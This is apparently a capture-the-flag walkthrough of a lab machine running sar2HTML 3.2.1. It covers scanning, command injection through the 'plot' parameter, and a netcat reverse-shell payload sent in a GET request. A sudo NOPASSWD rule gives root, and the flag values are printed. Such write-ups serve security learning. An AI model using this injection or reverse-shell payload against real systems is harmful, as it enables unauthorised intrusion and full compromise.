


```
(kali㉿kali)-[/opt/filebuster]
$ nmap -A 10.0.2.5 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 16:07 EST
Nmap scan report for 10.0.2.5
Host is up (0.00027s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.16 seconds
```

Simple HTTP page only



Apache2 Ubuntu Default Page

ubuntu

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at `/var/www/html/index.html`) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Ubuntu tools. The configuration system is **fully documented in `/usr/share/doc/apache2/README.Debian.gz`**. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the **manual** if the `apache2-doc` package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

Dead end already?

Robots.txt :

```

Response
Pretty Raw Hex Render \n ≡
1 HTTP/1.1 200 OK
2 Date: Thu, 20 Jan 2022 21:11:05 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Last-Modified: Sun, 20 Oct 2019 21:40:03 GMT
5 ETag: "9-5955e68e86e87"
6 Accept-Ranges: bytes
7 Content-Length: 9
8 Connection: close
9 Content-Type: text/plain
10
11 sar2HTML
12

```

What's this?

The screenshot shows a web browser at the URL 10.0.2.5/sar2HTML/. The page title is "sar2html Ver 3.2.1" with a "(Donate if you like!)" link. Below the title are two buttons: "New" and "OS". The main content area is titled "COLLECTING SAR DATA" and contains two numbered instructions. Instruction 1, "Use sar2ascii to generate a report:", lists steps for downloading sar2ascii, untar'ing it, and running it on HP-UX, Linux, or Solaris servers. Instruction 2, "Use built in report generator:", lists steps for clicking the "NEW" button, entering host details, and clicking the "Capture report" button. A "NOTE" mentions adding lines to crontab if sar data is unavailable. Examples for HP-UX and SOLARIS crontab entries are provided. An "INSTALLATION" section lists requirements like Linux server, supported OS versions, and necessary file permissions. The interface also includes a "Select Host" dropdown menu with "www-data" selected.

sar2html Ver 3.2.1
(Donate if you like!)

New OS

COLLECTING SAR DATA

1. Use sar2ascii to generate a report:
 - Download following tool to collect sar data from servers: [sar2ascii.tar](#).
 - Untar it on the server which you will examine performance data.
 - For HP-UX servers run "sh sar2ascii".
 - For Linux or Sun Solaris servers run "bash sar2ascii".
 - It will create the report with name sar2html-hostname-date.tar.gz under /tmp directory.
 - Click "NEW" button, browse and select the report, click "Upload report" button to upload the data.
 - Or simply type "sar2html -m {sar2html report}" at command prompt.
2. Use built in report generator:
 - Click "NEW" button, enter ip address of host, user name and password and click "Capture report" button.
 - Or simply type "sar2html -a [host ip] [user name] [password]" at command prompt.

NOTE: If sar data is not available even it is installed you need to add following lines to crontab:

HP-UX:

```
0,10,20,30,40,50 **** /usr/bin/sa/sa1  
5 18 *** /usr/bin/sa/sa2 -A
```

SOLARIS:

```
0,10,20,30,40,50 **** /usr/lib/sa/sa1  
5 18 *** /usr/lib/sa/sa2 -A
```

INSTALLATION

- Plotting tools, sar2html and index.php only run on Linux server.
- HP-UX 11.11, 11.23, 11.31, Redhat 3, 4, 5, 6, 7, Suse 8, 9, 10, 11, 12, Ubuntu 18 and Solaris 5.9, 5.10 are supported for reporting.
- Install Apache2, Php5, Expect and GnuPlot with png support (Suse11 is recommended. It provides gnuplot with native png support.)
- Edit php.ini file and set:
`upload_max_filesize` to 2GB.
`post_max_size` to 80MB.
- Extract sar2html.tar.gz under root directory of your web server or create subdirectory for it.
- Run `./sar2html -c` in order to configure sar2html. You need to know apache user and group for setup.
- Open <http://IP ADDRESS OF WEB SERVER/index.php>
- Now it is ready to work.

After some googling, I found this RCE vuln: <https://www.exploit-db.com/exploits/47204>

And I successfully exploited it! Command injection in the URL and the output in the dropdown menu. Time to get a shell perhaps? This has been easy so far

The screenshot shows the same web browser at the URL 10.0.2.5/sar2HTML/index.php. The page title is "sar2html Ver 3.2.1" with a "(Donate if you like!)" link. Below the title are two buttons: "New" and "LINUX;whoami". The main content area is titled "COLLECTING SAR DATA" and contains two numbered instructions. Instruction 1, "Use sar2ascii to generate a report:", lists steps for downloading sar2ascii, untar'ing it, and running it on HP-UX, Linux, or Solaris servers. Instruction 2, "Use built in report generator:", lists steps for clicking the "NEW" button, entering host details, and clicking the "Capture report" button. A "NOTE" mentions adding lines to crontab if sar data is unavailable. Examples for HP-UX and SOLARIS crontab entries are provided. An "INSTALLATION" section lists requirements like Linux server, supported OS versions, and necessary file permissions. The interface also includes a "Select Host" dropdown menu with "www-data" selected.

sar2html Ver 3.2.1
(Donate if you like!)

New LINUX;whoami

Select Host
Select Host
www-data

COLLECTING SAR DATA

1. Use sar2ascii to generate a report:
 - Download following tool to collect sar data from servers: [sar2ascii.tar](#).
 - Untar it on the server which you will examine performance data.
 - For HP-UX servers run "sh sar2ascii".
 - For Linux or Sun Solaris servers run "bash sar2ascii".
 - It will create the report with name sar2html-hostname-date.tar.gz under /tmp directory.
 - Click "NEW" button, browse and select the report, click "Upload report" button
 - Or simply type "sar2html -m {sar2html report}" at command prompt.
2. Use built in report generator:

With this payload...

```
Request
Pretty Raw Hex \n
1 GET /sar2HTML/index.php?plot=LINUX;rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.0.2.15+4242+>/tmp/f HTTP/1.1
2 Host: 10.0.2.5
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=88basahq9cbhlj5lsooa6ma9rq; miindex2=1
9 Upgrade-Insecure-Requests: 1
10
11
```

Gotcha

```
(kali㉿kali)-[/opt/filebuster]
$ nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.5] 47052
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@sar:/var/www/html/sar2HTML$
www-data@sar:/var/www/html/sar2HTML$ |
```

Okay, moving on to priv esc!

Ohhhhh this is interesting. **Write.sh**. We have write permissions on it as well!

All no passwd?

```
www-data@sar:/var/spool/cron$ sudo -l
sudo -l

Matching Defaults entries for www-data on sar:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/

User www-data may run the following commands on sar:
    (ALL) NOPASSWD: ALL
www-data@sar:/var/spool/cron$
```

ez ?

```
root@sar:/var/spool/cron# whoami
whoami
root
root@sar:/var/spool/cron# |
```

```
root@sar:/home/love/Desktop# cat user.txt
cat user.txt
427a7e47deb4a8649c7cab38df232b52
```

```
root@sar:~# cat root.txt
cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
```